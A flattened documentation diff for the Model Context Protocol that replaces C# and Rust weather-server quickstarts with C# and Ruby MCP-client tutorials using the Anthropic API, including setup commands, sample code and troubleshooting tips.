- Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. - + ## Troubleshooting - First, make sure you have Claude for Desktop installed. [You can install the latest version - here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** + ### Server Path Issues - We'll need to configure Claude for Desktop for whichever MCP servers you want to use. - To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. - Make sure to create the file if it doesn't exist. + * Double-check the path to your server script is correct + * Use the absolute path if the relative path isn't working + * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path + * Make sure that the required runtime is installed (java for Java, npm for Node.js, or uv for Python) + * Verify the server file has the correct extension (.jar for Java, .js for Node.js or .py for Python) - For example, if you have [VS Code](https://code.visualstudio.com/) installed: + Example of correct path usage: - - ```bash macOS/Linux theme={null} - code ~/Library/Application\ Support/Claude/claude_desktop_config.json - ``` + ```bash theme={null} + # Relative path + java -jar build/libs/client.jar ./server/build/libs/server.jar - ```powershell Windows theme={null} - code $env:AppData\Claude\claude_desktop_config.json - ``` - + # Absolute path + java -jar build/libs/client.jar /Users/username/projects/mcp-server/build/libs/server.jar - You'll then add your servers in the `mcpServers` key. - The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. + # Windows path (either format works) + java -jar build/libs/client.jar C:/projects/mcp-server/build/libs/server.jar + java -jar build/libs/client.jar C:\\projects\\mcp-server\\build\\libs\\server.jar + ``` - In this case, we'll add our single weather server like so: + ### Build Issues - - ```json macOS/Linux theme={null} - { - "mcpServers": { - "weather": { - "command": "java", - "args": [ - "-jar", - "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar" - ] - } - } - } - ``` + * Use `./gradlew build` or `./gradlew shadowJar` (not `./gradlew jar`) to create the shadow JAR with all dependencies + * If you get JDK version errors, ensure your installed JDK version matches or exceeds the `jvmToolchain` setting in `build.gradle.kts` - ```json Windows theme={null} - { - "mcpServers": { - "weather": { - "command": "java", - "args": [ - "-jar", - "C:\\PATH\\TO\\PARENT\\FOLDER\\weather\\build\\libs\\weather-0.1.0-all.jar" - ] - } - } - } - ``` - + ### Response Timing - This tells Claude for Desktop: + * The first response might take up to 30 seconds to return + * This is normal and happens while: + * The server initializes + * Claude processes the query + * Tools are being executed + * Subsequent responses are typically faster + * Don't interrupt the process during this initial waiting period - 1. There's an MCP server named "weather" - 2. Launch it by running `java -jar /ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/build/libs/weather-0.1.0-all.jar` + ### Common Error Messages - Save the file, and restart **Claude for Desktop**. + If you see: + + * `Connection refused`: Ensure the server is running and the path is correct + * `Tool execution failed`: Verify the tool's required environment variables are set + * `ANTHROPIC_API_KEY is not set`: Check your environment variables - Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartWeatherServer) - - ### Prerequisite knowledge - - This quickstart assumes you have familiarity with: - - * C# - * LLMs like Claude - * .NET 8 or higher - - ### Logging in MCP Servers - - When implementing MCP servers, be careful about how you handle logging: - - **For STDIO-based servers:** Never write to standard output (stdout). This includes: - - * `print()` statements in Python - * `console.log()` in JavaScript - * `fmt.Println()` in Go - * Similar stdout functions in other languages - - Writing to stdout will corrupt the JSON-RPC messages and break your server. - - **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. - - ### Best Practices + [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartClient) - 1. Use a logging library that writes to stderr or files + ## System Requirements - ### System requirements + Before starting, ensure your system meets these requirements: - * [.NET 8 SDK](https://dotnet.microsoft.com/download/dotnet/8.0) or higher installed. + * .NET 8.0 or higher + * Anthropic API key (Claude) + * Windows, Linux, or macOS - ### Set up your environment + ## Setting up your environment - First, let's install `dotnet` if you haven't already. You can download `dotnet` from [official Microsoft .NET website](https://dotnet.microsoft.com/download/). Verify your `dotnet` installation: + First, create a new .NET project: ```bash theme={null} - dotnet --version + dotnet new console -n QuickstartClient + cd QuickstartClient ``` - Now, let's create and set up your project: + Then, add the required dependencies to your project: - - ```bash macOS/Linux theme={null} - # Create a new directory for our project - mkdir weather - cd weather - # Initialize a new C# project - dotnet new console - ``` + ```bash theme={null} + dotnet add package ModelContextProtocol --prerelease + dotnet add package Anthropic.SDK + dotnet add package Microsoft.Extensions.Hosting + dotnet add package Microsoft.Extensions.AI + ``` - ```powershell Windows theme={null} - # Create a new directory for our project - mkdir weather - cd weather - # Initialize a new C# project - dotnet new console - ``` - + ## Setting up your API key - After running `dotnet new console`, you will be presented with a new C# project. - You can open the project in your favorite IDE, such as [Visual Studio](https://visualstudio.microsoft.com/) or [Rider](https://www.jetbrains.com/rider/). - Alternatively, you can create a C# application using the [Visual Studio project wizard](https://learn.microsoft.com/en-us/visualstudio/get-started/csharp/tutorial-console?view=vs-2022). - After creating the project, add NuGet package for the Model Context Protocol SDK and hosting: + You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys). ```bash theme={null} - # Add the Model Context Protocol SDK NuGet package - dotnet add package ModelContextProtocol --prerelease - # Add the .NET Hosting NuGet package - dotnet add package Microsoft.Extensions.Hosting + dotnet user-secrets init + dotnet user-secrets set "ANTHROPIC_API_KEY" "" ``` - Now let’s dive into building your server. + ## Creating the Client - ## Building your server + ### Basic Client Structure - Open the `Program.cs` file in your project and replace its contents with the following code: + First, let's setup the basic client class in the file `Program.cs`: ```csharp theme={null} - using Microsoft.Extensions.DependencyInjection; + using Anthropic.SDK; + using Microsoft.Extensions.AI; + using Microsoft.Extensions.Configuration; using Microsoft.Extensions.Hosting; - using ModelContextProtocol; - using System.Net.Http.Headers; + using ModelContextProtocol.Client; + using ModelContextProtocol.Protocol.Transport; - var builder = Host.CreateEmptyApplicationBuilder(settings: null); + var builder = Host.CreateApplicationBuilder(args); - builder.Services.AddMcpServer() - .WithStdioServerTransport() - .WithToolsFromAssembly(); + builder.Configuration + .AddEnvironmentVariables() + .AddUserSecrets(); + ``` - builder.Services.AddSingleton(_ => - { - var client = new HttpClient() { BaseAddress = new Uri("https://api.weather.gov") }; - client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0")); - return client; - }); + This creates the beginnings of a .NET console application that can read the API key from user secrets. - var app = builder.Build(); + Next, we'll setup the MCP Client: - await app.RunAsync(); - ``` + ```csharp theme={null} + var (command, arguments) = GetCommandAndArguments(args); - - When creating the `ApplicationHostBuilder`, ensure you use `CreateEmptyApplicationBuilder` instead of `CreateDefaultBuilder`. This ensures that the server does not write any additional messages to the console. This is only necessary for servers using STDIO transport. - + var clientTransport = new StdioClientTransport(new() + { + Name = "Demo Server", + Command = command, + Arguments = arguments, + }); - This code sets up a basic console application that uses the Model Context Protocol SDK to create an MCP server with standard I/O transport. + await using var mcpClient = await McpClient.CreateAsync(clientTransport); - ### Weather API helper functions + var tools = await mcpClient.ListToolsAsync(); + foreach (var tool in tools) + { + Console.WriteLine($"Connected to server with tools: {tool.Name}"); + } + ``` - Create an extension class for `HttpClient` which helps simplify JSON request handling: + Add this function at the end of the `Program.cs` file: ```csharp theme={null} - using System.Text.Json; - - internal static class HttpClientExt + static (string command, string[] arguments) GetCommandAndArguments(string[] args) { - public static async Task ReadJsonDocumentAsync(this HttpClient client, string requestUri) + return args switch { - using var response = await client.GetAsync(requestUri); - response.EnsureSuccessStatusCode(); - return await JsonDocument.ParseAsync(await response.Content.ReadAsStreamAsync()); - } + [var script] when script.EndsWith(".py") => ("python", args), + [var script] when script.EndsWith(".js") => ("node", args), + [var script] when Directory.Exists(script) || (File.Exists(script) && script.EndsWith(".csproj")) => ("dotnet", ["run", "--project", script, "--no-build"]), + _ => throw new NotSupportedException("An unsupported server script was provided. Supported scripts are .py, .js, or .csproj") + }; } ``` - Next, define a class with the tool execution handlers for querying and converting responses from the National Weather Service API: + This creates an MCP client that will connect to a server that is provided as a command line argument. It then lists the available tools from the connected server. - ```csharp theme={null} - using ModelContextProtocol.Server; - using System.ComponentModel; - using System.Globalization; - using System.Text.Json; + ### Query processing logic - namespace QuickstartWeatherServer.Tools; + Now let's add the core functionality for processing queries and handling tool calls: - [McpServerToolType] - public static class WeatherTools + ```csharp theme={null} + using var anthropicClient = new AnthropicClient(new APIAuthentication(builder.Configuration["ANTHROPIC_API_KEY"])) + .Messages + .AsBuilder() + .UseFunctionInvocation() + .Build(); + + var options = new ChatOptions { - [McpServerTool, Description("Get weather alerts for a US state code.")] - public static async Task GetAlerts( - HttpClient client, - [Description("The US state code to get alerts for.")] string state) - { - using var jsonDocument = await client.ReadJsonDocumentAsync($"/alerts/active/area/{state}"); - var jsonElement = jsonDocument.RootElement; - var alerts = jsonElement.GetProperty("features").EnumerateArray(); + MaxOutputTokens = 1000, + ModelId = "claude-sonnet-4-20250514", + Tools = [.. tools] + }; - if (!alerts.Any()) - { - return "No active alerts for this state."; - } + Console.ForegroundColor = ConsoleColor.Green; + Console.WriteLine("MCP Client Started!"); + Console.ResetColor(); - return string.Join("\n--\n", alerts.Select(alert => - { - JsonElement properties = alert.GetProperty("properties"); - return $""" - Event: {properties.GetProperty("event").GetString()} - Area: {properties.GetProperty("areaDesc").GetString()} - Severity: {properties.GetProperty("severity").GetString()} - Description: {properties.GetProperty("description").GetString()} - Instruction: {properties.GetProperty("instruction").GetString()} - """; - })); + PromptForInput(); + while(Console.ReadLine() is string query && !"exit".Equals(query, StringComparison.OrdinalIgnoreCase)) + { + if (string.IsNullOrWhiteSpace(query)) + { + PromptForInput(); + continue; } - [McpServerTool, Description("Get weather forecast for a location.")] - public static async Task GetForecast( - HttpClient client, - [Description("Latitude of the location.")] double latitude, - [Description("Longitude of the location.")] double longitude) + await foreach (var message in anthropicClient.GetStreamingResponseAsync(query, options)) { - var pointUrl = string.Create(CultureInfo.InvariantCulture, $"/points/{latitude},{longitude}"); - using var jsonDocument = await client.ReadJsonDocumentAsync(pointUrl); - var forecastUrl = jsonDocument.RootElement.GetProperty("properties").GetProperty("forecast").GetString() - ?? throw new Exception($"No forecast URL provided by {client.BaseAddress}points/{latitude},{longitude}"); + Console.Write(message); + } + Console.WriteLine(); - using var forecastDocument = await client.ReadJsonDocumentAsync(forecastUrl); - var periods = forecastDocument.RootElement.GetProperty("properties").GetProperty("periods").EnumerateArray(); + PromptForInput(); + } - return string.Join("\n---\n", periods.Select(period => $""" - {period.GetProperty("name").GetString()} - Temperature: {period.GetProperty("temperature").GetInt32()}°F - Wind: {period.GetProperty("windSpeed").GetString()} {period.GetProperty("windDirection").GetString()} - Forecast: {period.GetProperty("detailedForecast").GetString()} - """)); - } + static void PromptForInput() + { + Console.WriteLine("Enter a command (or 'exit' to quit):"); + Console.ForegroundColor = ConsoleColor.Cyan; + Console.Write("> "); + Console.ResetColor(); } ``` - ### Running the server + ## Key Components Explained - Finally, run the server using the following command: + ### 1. Client Initialization - ```bash theme={null} - dotnet run - ``` + * The client is initialized using `McpClient.CreateAsync()`, which sets up the transport type and command to run the server. - This will start the server and listen for incoming requests on standard input/output. + ### 2. Server Connection - ## Testing your server with Claude for Desktop + * Supports Python, Node.js, and .NET servers. + * The server is started using the command specified in the arguments. + * Configures to use stdio for communication with the server. + * Initializes the session and available tools. - - Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. - + ### 3. Query Processing - First, make sure you have Claude for Desktop installed. [You can install the latest version - here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** - We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist. - For example, if you have [VS Code](https://code.visualstudio.com/) installed: + * Leverages [Microsoft.Extensions.AI](https://learn.microsoft.com/dotnet/ai/ai-extensions) for the chat client. + * Configures the `IChatClient` to use automatic tool (function) invocation. + * The client reads user input and sends it to the server. + * The server processes the query and returns a response. + * The response is displayed to the user. - - ```bash macOS/Linux theme={null} - code ~/Library/Application\ Support/Claude/claude_desktop_config.json - ``` + ## Running the Client - ```powershell Windows theme={null} - code $env:AppData\Claude\claude_desktop_config.json - ``` - + To run your client with any MCP server: - You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. - In this case, we'll add our single weather server like so: + ```bash theme={null} + dotnet run -- path/to/server.csproj # dotnet server + dotnet run -- path/to/server.py # python server + dotnet run -- path/to/server.js # node server + ``` - - ```json macOS/Linux theme={null} - { - "mcpServers": { - "weather": { - "command": "dotnet", - "args": ["run", "--project", "/ABSOLUTE/PATH/TO/PROJECT", "--no-build"] - } - } - } - ``` + + If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `dotnet run -- path/to/QuickstartWeatherServer`. + - ```json Windows theme={null} - { - "mcpServers": { - "weather": { - "command": "dotnet", - "args": [ - "run", - "--project", - "C:\\ABSOLUTE\\PATH\\TO\\PROJECT", - "--no-build" - ] - } - } - } - ``` - + The client will: - This tells Claude for Desktop: + 1. Connect to the specified server + 2. List available tools + 3. Start an interactive chat session where you can: + * Enter queries + * See tool executions + * Get responses from Claude + 4. Exit the session when done - 1. There's an MCP server named "weather" - 2. Launch it by running `dotnet run /ABSOLUTE/PATH/TO/PROJECT` - Save the file, and restart **Claude for Desktop**. + Here's an example of what it should look like if connected to the weather server quickstart: + + + + - - Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust) + + [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-ruby) - ### Prerequisite knowledge + ## System Requirements - This quickstart assumes you have familiarity with: + Before starting, ensure your system meets these requirements: - * Rust programming language - * Async/await in Rust - * LLMs like Claude + * Mac or Windows computer + * Ruby 3.2.0 or higher installed (required by the [Anthropic SDK](https://github.com/anthropics/anthropic-sdk-ruby)) + * Anthropic API key (Claude) - ### Logging in MCP Servers + ## Setting Up Your Environment - When implementing MCP servers, be careful about how you handle logging: + First, create a new Ruby project: - **For STDIO-based servers:** Never write to standard output (stdout). This includes: + + ```bash macOS/Linux theme={null} + # Create project directory + mkdir mcp-client + cd mcp-client - * `print()` statements in Python - * `console.log()` in JavaScript - * `println!()` in Rust - * Similar stdout functions in other languages + # Create a Gemfile + bundle init - Writing to stdout will corrupt the JSON-RPC messages and break your server. + # Add required dependencies + bundle add anthropic base64 dotenv mcp - **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses. + # Create our main file + touch client.rb + ``` - ### Best Practices + ```powershell Windows theme={null} + # Create project directory + mkdir mcp-client + cd mcp-client - 1. Use a logging library that writes to stderr or files, such as `tracing` or `log` in Rust. - 2. Configure your logging framework to avoid stdout output. + # Create a Gemfile + bundle init - ### Quick Examples + # Add required dependencies + bundle add anthropic base64 dotenv mcp - ```rust theme={null} - // ❌ Bad (STDIO) - println!("Processing request"); + # Create our main file + new-item client.rb + ``` + - // ✅ Good (STDIO) - use tracing::info; - info!("Processing request"); // writes to stderr - ``` + ## Setting Up Your API Key - ### System requirements + You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys). - * Rust 1.70 or higher installed. - * Cargo (comes with Rust installation). - - ### Set up your environment - - First, let's install Rust if you haven't already. You can install Rust from [rust-lang.org](https://www.rust-lang.org/tools/install): - - - ```bash macOS/Linux theme={null} - curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh - ``` + Create a `.env` file to store it: - ```powershell Windows theme={null} - # Download and run rustup-init.exe from https://rustup.rs/ - ``` - + ```bash theme={null} + echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env + ``` - Verify your Rust installation: + Add `.env` to your `.gitignore`: ```bash theme={null} - rustc --version - cargo --version + echo ".env" >> .gitignore ``` - Now, let's create and set up our project: + + Make sure you keep your `ANTHROPIC_API_KEY` secure! + - - ```bash macOS/Linux theme={null} - # Create a new Rust project - cargo new weather - cd weather - ``` + ## Creating the Client - ```powershell Windows theme={null} - # Create a new Rust project - cargo new weather - cd weather - ``` - + ### Basic Client Structure - Update your `Cargo.toml` to add the required dependencies: + First, let's set up our requires and create the basic client class: - ```toml Cargo.toml theme={null} - [package] - name = "weather" - version = "0.1.0" - edition = "2024" + ```ruby theme={null} + require "anthropic" + require "dotenv/load" + require "json" + require "mcp" - [dependencies] - rmcp = { version = "0.3", features = ["server", "macros", "transport-io"] } - tokio = { version = "1.46", features = ["full"] } - reqwest = { version = "0.12", features = ["json"] } - serde = { version = "1.0", features = ["derive"] } - serde_json = "1.0" - anyhow = "1.0" - tracing = "0.1" - tracing-subscriber = { version = "0.3", features = ["env-filter", "std", "fmt"] } - ``` + class MCPClient + ANTHROPIC_MODEL = "claude-sonnet-4-20250514" - Now let's dive into building your server. + def initialize + @mcp_client = nil + @transport = nil + @anthropic_client = nil + end - ## Building your server + # methods will go here + end + ``` - ### Importing packages and constants + ### Server Connection Management - Open `src/main.rs` and add these imports and constants at the top: + Next, we'll implement the method to connect to an MCP server: - ```rust theme={null} - use anyhow::Result; - use rmcp::{ - ServerHandler, ServiceExt, - handler::server::{router::tool::ToolRouter, tool::Parameters}, - model::*, - schemars, tool, tool_handler, tool_router, - }; - use serde::Deserialize; - use serde::de::DeserializeOwned; + ```ruby theme={null} + def connect_to_server(server_script_path) + command = case File.extname(server_script_path) + when ".rb" + "ruby" + when ".py" + "python3" + when ".js" + "node" + else + raise ArgumentError, "Server script must be a .rb, .py, or .js file." + end - const NWS_API_BASE: &str = "https://api.weather.gov"; - const USER_AGENT: &str = "weather-app/1.0"; + @transport = MCP::Client::Stdio.new(command: command, args: [server_script_path]) + @mcp_client = MCP::Client.new(transport: @transport) + + tool_names = @mcp_client.tools.map(&:name) + puts "\nConnected to server with tools: #{tool_names}" + end ``` - The `rmcp` crate provides the Model Context Protocol SDK for Rust, with features for server implementation, procedural macros, and stdio transport. + ### Query Processing Logic - ### Data structures + Now let's add the core functionality for processing queries and handling tool calls: - Next, let's define the data structures for deserializing responses from the National Weather Service API: + ```ruby theme={null} + private - ```rust theme={null} - #[derive(Debug, Deserialize)] - struct AlertsResponse { - features: Vec, - } + def process_query(query) + messages = [{ role: "user", content: query }] - #[derive(Debug, Deserialize)] - struct AlertFeature { - properties: AlertProperties, - } + available_tools = @mcp_client.tools.map do |tool| + { name: tool.name, description: tool.description, input_schema: tool.input_schema } + end - #[derive(Debug, Deserialize)] - struct AlertProperties { - event: Option, - #[serde(rename = "areaDesc")] - area_desc: Option, - severity: Option, - description: Option, - instruction: Option, - } + # Initial Claude API call. + response = chat(messages, tools: available_tools) + + # Process response and handle tool calls. + if response.content.any?(Anthropic::Models::ToolUseBlock) + assistant_content = response.content.filter_map do |content_block| + case content_block + when Anthropic::Models::TextBlock + { type: "text", text: content_block.text } + when Anthropic::Models::ToolUseBlock + { type: "tool_use", id: content_block.id, name: content_block.name, input: content_block.input } + end + end + messages << { role: "assistant", content: assistant_content } + end - #[derive(Debug, Deserialize)] - struct PointsResponse { - properties: PointsProperties, - } + response.content.each_with_object([]) do |content, response_parts| + case content + when Anthropic::Models::TextBlock + response_parts << content.text + when Anthropic::Models::ToolUseBlock + # Execute tool call via MCP. + result = @mcp_client.call_tool(name: content.name, arguments: content.input) + response_parts << "[Calling tool #{content.name} with args #{content.input.to_json}]" + + tool_result_content = result.dig("result", "content") + result_text = if tool_result_content.is_a?(Array) + tool_result_content.filter_map { |content_item| content_item["text"] }.join("\n") + else + tool_result_content.to_s + end + + messages << { + role: "user", + content: [{ + type: "tool_result", + tool_use_id: content.id, + content: result_text + }] + } - #[derive(Debug, Deserialize)] - struct PointsProperties { - forecast: String, - } + # Get next response from Claude. + response = chat(messages) - #[derive(Debug, Deserialize)] - struct ForecastResponse { - properties: ForecastProperties, - } + response.content.each do |content_block| + response_parts << content_block.text if content_block.is_a?(Anthropic::Models::TextBlock) + end + end + end.join("\n") + end - #[derive(Debug, Deserialize)] - struct ForecastProperties { - periods: Vec, - } + def chat(messages, tools: nil) + params = { model: ANTHROPIC_MODEL, max_tokens: 1000, messages: messages } + params[:tools] = tools if tools - #[derive(Debug, Deserialize)] - struct ForecastPeriod { - name: String, - temperature: i32, - #[serde(rename = "temperatureUnit")] - temperature_unit: String, - #[serde(rename = "windSpeed")] - wind_speed: String, - #[serde(rename = "windDirection")] - wind_direction: String, - #[serde(rename = "detailedForecast")] - detailed_forecast: String, - } + anthropic_client.messages.create(**params) + end + + def anthropic_client + @anthropic_client ||= Anthropic::Client.new(api_key: ENV["ANTHROPIC_API_KEY"]) + end ``` - Now define the request types that MCP clients will send: + ### Interactive Chat Interface - ```rust theme={null} - #[derive(serde::Deserialize, schemars::JsonSchema)] - pub struct MCPForecastRequest { - latitude: f32, - longitude: f32, - } + Now we'll add the chat loop and cleanup functionality: - #[derive(serde::Deserialize, schemars::JsonSchema)] - pub struct MCPAlertRequest { - state: String, - } + ```ruby theme={null} + def chat_loop + puts <<~MESSAGE + MCP Client Started! + Type your queries or 'quit' to exit. + MESSAGE + + loop do + print "\nQuery: " + line = $stdin.gets + break if line.nil? + + query = line.chomp.strip + break if query.downcase == "quit" + next if query.empty? + + begin + response = process_query(query) + puts "\n#{response}" + rescue => e + puts "\nError: #{e.message}" + end + end + end + + def cleanup + @transport&.close + end ``` - ### Helper functions + ### Main Entry Point - Add helper functions for making API requests and formatting responses: + Finally, we'll add the main execution logic: - ```rust theme={null} - async fn make_nws_request(url: &str) -> Result { - let client = reqwest::Client::new(); - let rsp = client - .get(url) - .header(reqwest::header::USER_AGENT, USER_AGENT) - .header(reqwest::header::ACCEPT, "application/geo+json") - .send() - .await? - .error_for_status()?; - Ok(rsp.json::().await?) - } + ```ruby theme={null} + if ARGV.empty? + puts "Usage: ruby client.rb " + exit 1 + end - fn format_alert(feature: &AlertFeature) -> String { - let props = &feature.properties; - format!( - "Event: {}\nArea: {}\nSeverity: {}\nDescription: {}\nInstructions: {}", - props.event.as_deref().unwrap_or("Unknown"), - props.area_desc.as_deref().unwrap_or("Unknown"), - props.severity.as_deref().unwrap_or("Unknown"), - props - .description - .as_deref() - .unwrap_or("No description available"), - props - .instruction - .as_deref() - .unwrap_or("No specific instructions provided") - ) - } + client = MCPClient.new - fn format_period(period: &ForecastPeriod) -> String { - format!( - "{}:\nTemperature: {}°{}\nWind: {} {}\nForecast: {}", - period.name, - period.temperature, - period.temperature_unit, - period.wind_speed, - period.wind_direction, - period.detailed_forecast - ) - } + begin + client.connect_to_server(ARGV[0]) + + api_key = ENV["ANTHROPIC_API_KEY"] + if api_key.nil? || api_key.empty? + puts <<~MESSAGE + No ANTHROPIC_API_KEY found. To query these tools with Claude, set your API key: + export ANTHROPIC_API_KEY=your-api-key-here + MESSAGE + exit + end + + client.chat_loop + rescue => e + puts "Error: #{e.message}" + exit 1 + ensure + client.cleanup + end ``` - ### Implementing the Weather server and tools + You can find the complete `client.rb` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-ruby/client.rb). - Now let's implement the main Weather server struct with the tool handlers: + ## Key Components Explained - ```rust theme={null} - pub struct Weather { - tool_router: ToolRouter, - } + ### 1. Client Initialization - #[tool_router] - impl Weather { - fn new() -> Self { - Self { - tool_router: Self::tool_router(), - } - } + * The `MCPClient` class initializes with nil references for lazy setup + * The Anthropic client is lazily initialized via the `anthropic_client` method + * Uses `dotenv` to load environment variables from `.env` - #[tool(description = "Get weather alerts for a US state.")] - async fn get_alerts( - &self, - Parameters(MCPAlertRequest { state }): Parameters, - ) -> String { - let url = format!( - "{}/alerts/active/area/{}", - NWS_API_BASE, - state.to_uppercase() - ); + ### 2. Server Connection - match make_nws_request::(&url).await { - Ok(data) => { - if data.features.is_empty() { - "No active alerts for this state.".to_string() - } else { - data.features - .iter() - .map(format_alert) - .collect::>() - .join("\n---\n") - } - } - Err(_) => "Unable to fetch alerts or no alerts found.".to_string(), - } - } + * Supports Ruby, Python, and Node.js servers + * Uses `File.extname` to determine the server script type + * Uses `MCP::Client::Stdio` for stdio transport + * Initializes the MCP client and lists available tools - #[tool(description = "Get weather forecast for a location.")] - async fn get_forecast( - &self, - Parameters(MCPForecastRequest { - latitude, - longitude, - }): Parameters, - ) -> String { - let points_url = format!("{NWS_API_BASE}/points/{latitude},{longitude}"); - let Ok(points_data) = make_nws_request::(&points_url).await else { - return "Unable to fetch forecast data for this location.".to_string(); - }; + ### 3. Query Processing - let forecast_url = points_data.properties.forecast; + * Maps MCP tools to Anthropic tool format (`name`, `description`, `input_schema`) + * Uses `Anthropic::Models::TextBlock` and `Anthropic::Models::ToolUseBlock` for pattern matching + * Builds assistant content once before iterating tool calls + * Executes tool calls via `@mcp_client.call_tool` + * Uses `chat` helper method to wrap Anthropic API calls + * Extracts tool result content with `result.dig("result", "content")` + * Passes tool results back to Claude for a final response - let Ok(forecast_data) = make_nws_request::(&forecast_url).await else { - return "Unable to fetch forecast data for this location.".to_string(); - }; + ### 4. Interactive Interface - let periods = &forecast_data.properties.periods; - let forecast_summary: String = periods - .iter() - .take(5) // Next 5 periods only - .map(format_period) - .collect::>() - .join("\n---\n"); - forecast_summary - } - } - ``` + * Provides a simple command-line interface + * Handles user input and displays responses + * Skips empty queries + * Includes basic error handling - The `#[tool_router]` macro automatically generates the routing logic, and the `#[tool]` attribute marks methods as MCP tools. + ### 5. Resource Management - ### Implementing the ServerHandler + * Proper cleanup of the transport via `begin`...`ensure` + * Top-level `rescue` for error handling + * API key validation after server connection - Implement the `ServerHandler` trait to define server capabilities: + ## Running the Client - ```rust theme={null} - #[tool_handler] - impl ServerHandler for Weather { - fn get_info(&self) -> ServerInfo { - ServerInfo { - capabilities: ServerCapabilities::builder().enable_tools().build(), - ..Default::default() - } - } - } + To run your client with any MCP server: + + ```bash theme={null} + bundle exec ruby client.rb path/to/server.rb # ruby server + bundle exec ruby client.rb path/to/server.py # python server + bundle exec ruby client.rb path/to/build/index.js # node server ``` - ### Running the server + + If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby), your command might look something like this: `bundle exec ruby client.rb /path/to/weather-server-ruby/weather.rb` + - Finally, implement the main function to run the server with stdio transport: + The client will: - ```rust theme={null} - #[tokio::main] - async fn main() -> Result<()> { - let transport = (tokio::io::stdin(), tokio::io::stdout()); - let service = Weather::new().serve(transport).await?; - service.waiting().await?; - Ok(()) - } - ``` + 1. Connect to the specified server + 2. List available tools + 3. Start an interactive chat session where you can: + * Enter queries + * See tool executions + * Get responses from Claude - Build your server with: + ## How It Works - ```bash theme={null} - cargo build --release - ``` + When you submit a query: - The compiled binary will be in `target/release/weather`. + 1. The client gets the list of available tools from the server + 2. Your query is sent to Claude along with tool descriptions + 3. Claude decides which tools (if any) to use + 4. The client executes any requested tool calls through the server + 5. Results are sent back to Claude + 6. Claude provides a natural language response + 7. The response is displayed to you - Let's now test your server from an existing MCP host, Claude for Desktop. + ## Best practices - ## Testing your server with Claude for Desktop + 1. **Error Handling** + * Wrap tool calls in `begin`...`rescue` blocks + * Provide meaningful error messages + * Gracefully handle connection issues - - Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/develop/build-client) tutorial to build an MCP client that connects to the server we just built. - + 2. **Resource Management** + * Always close the transport when done + * Use `begin`...`ensure` for proper cleanup + * Handle server disconnections - First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.** + 3. **Security** + * Store API keys securely in `.env` + * Validate server responses + * Be cautious with tool permissions - We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist. + 4. **Tool Names** + * Tool names can be validated according to the format specified [here](/specification/draft/server/tools#tool-names) + * If a tool name conforms to the specified format, it should not fail validation by an MCP client - For example, if you have [VS Code](https://code.visualstudio.com/) installed: + ## Troubleshooting - - ```bash macOS/Linux theme={null} - code ~/Library/Application\ Support/Claude/claude_desktop_config.json - ``` + ### Server Path Issues - ```powershell Windows theme={null} - code $env:AppData\Claude\claude_desktop_config.json - ``` - + * Double-check the path to your server script is correct + * Use the absolute path if the relative path isn't working + * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path + * Verify the server file has the correct extension (.py for Python, .js for Node.js, or .rb for Ruby) - You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. + Example of correct path usage: - In this case, we'll add our single weather server like so: + ```bash theme={null} + # Relative path + bundle exec ruby client.rb ./server/weather.rb - - ```json macOS/Linux theme={null} - { - "mcpServers": { - "weather": { - "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/target/release/weather" - } - } - } - ``` + # Absolute path + bundle exec ruby client.rb /Users/username/projects/mcp-server/weather.rb - ```json Windows theme={null} - { - "mcpServers": { - "weather": { - "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\target\\release\\weather.exe" - } - } - } - ``` - + # Windows path (either format works) + bundle exec ruby client.rb C:/projects/mcp-server/weather.rb + bundle exec ruby client.rb C:\\projects\\mcp-server\\weather.rb + ``` - - Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension. - + ### Response Timing - This tells Claude for Desktop: + * The first 